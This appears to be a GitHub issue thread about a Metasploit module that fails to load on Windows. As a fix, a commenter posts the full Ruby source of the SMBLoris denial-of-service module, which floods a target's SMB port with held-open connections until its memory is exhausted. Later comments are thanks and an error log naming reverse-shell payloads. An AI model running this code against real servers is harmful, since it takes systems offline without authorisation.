WARNING! The following modules could not be loaded!
Steps to reproduce
After i installed "metasploit" and disabled firewall and antivirus i did this:
1-:white_check_mark: I opened CMD.exe as Administrator
2-:white_check_mark: Navigate to c:\metasploit
3-:white_check_mark: i entered the following command console
4-:red_circle: I've got this warning:
:bell: # WARNING! The following modules could not be loaded!
C:/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.16.54/modules/auxiliary/dos/smb/smb_loris.rb: Msf::Modules::Error Failed to load module (dos/smb/smb_loris from C:/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.16.54/modules/auxiliary/dos/smb/smb_loris.rb) due to Invalid module (no MetasploitModule class or module name) :bell:
Expected behavior
:no_entry: it is obviously i can't run SMB attacks....
Current behavior
:disappointed: can't get rid of this issue :disappointed:
Metasploit version
:sunglasses:# metasploit v4.16.54-dev
I installed Metasploit with:
Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)) :innocent: ### OS # Windows 10 version 1709 (OS build 16299.371)
Same here

:man_shrugging: just don't run metasploit on Windows
i've got it fixed - dunno if it works though. it loads fine.
metasploit-framework/embedded/framework/modules/auxiliary/dos/smb/smb_loris.rb
#!/usr/bin/env ruby
require 'socket'
require 'metasploit'
require 'bindata'
class NbssHeader < BinData::Record
endian :little
uint8 :message_type
bit7 :flags
bit17 :message_length
end
class MetasploitModule < Msf::Auxiliary
metadata = {
name: 'SMBLoris NBSS Denial of Service',
description: %q{
The SMBLoris attack consumes large chunks of memory in the target by sending
SMB requests with the NetBios Session Service(NBSS) Length Header value set
to the maximum possible value. By keeping these connections open and initiating
large numbers of these sessions, the memory does not get freed, and the server
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
and Zach Harding.
DISCALIMER: This module opens a lot of simultaneous connections. Please check
your system's ULIMIT to make sure it can handle it. This module will also run
continuously until stopped.
},
authors: [
'thelightcosine',
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
date: '2017-06-29',
references: [
{ type: 'url', ref: 'http://smbloris.com/' }
],
type: 'dos',
options: {
rhost: {type: 'address', description: 'The target address', required: true, default: nil},
rport: {type: 'port', description: 'SMB port on the target', required: true, default: 445},
}
}
def run(args)
header = NbssHeader.new
header.message_length = 0x01FFFF
last_reported = 0
warned = false
n_loops = 0
sockets = []
target = Addrinfo.tcp(args[:rhost], args[:rport].to_i)
Metasploit.logging_prefix = "#{target.inspect_sockaddr} - "
while true do
begin
sockets.delete_if do |s|
s.closed?
end
nsock = target.connect(timeout: 360)
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
nsock.setsockopt(Socket::Option.linger(true, 60))
nsock.write(header.to_binary_s)
sockets << nsock
n_loops += 1
if last_reported != sockets.length
if n_loops % 100 == 0
last_reported = sockets.length
Metasploit.log "#{sockets.length} socket(s) open", level: 'info'
end
elsif n_loops % 1000 == 0
Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info'
end
rescue Interrupt
break
sockets.each &:close
rescue Errno::EMFILE
Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing you system limits.", level: 'warning' unless warned
warned = true
sockets.slice(0).close
rescue Exception => e
Metasploit.log "Exception sending packet: #{e.message}", level: 'error'
end
end
end
if __FILE__ == $PROGRAM_NAME
Metasploit.run(metadata, method(:run))
end
end
@0-1-0-1 thank you to much
@0-1-0-1 's solution works on my Winddows10 desktop
Works on Win7
help me I can't use metasploit
I have check in my metasploit logs and this is the logs
[09/03/2020 08:31:18] [d(0)] core: Already established connection to postgresql, so reusing active connection. [09/03/2020 08:31:37] [e(0)] core: C:/metasploit/apps/pro/vendor/bundle/ruby/2.6.0/gems/metasploit-framework-6.0.1/modules/payloads/singles/cmd/unix/reverse_ssh.rb failed to load - LoadError cannot load such file -- pty [09/03/2020 08:31:39] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported [09/03/2020 08:31:39] [e(0)] core: Dependency for windows/encrypted_shell_reverse_tcp is not supported [09/03/2020 08:31:40] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported [09/03/2020 08:31:40] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported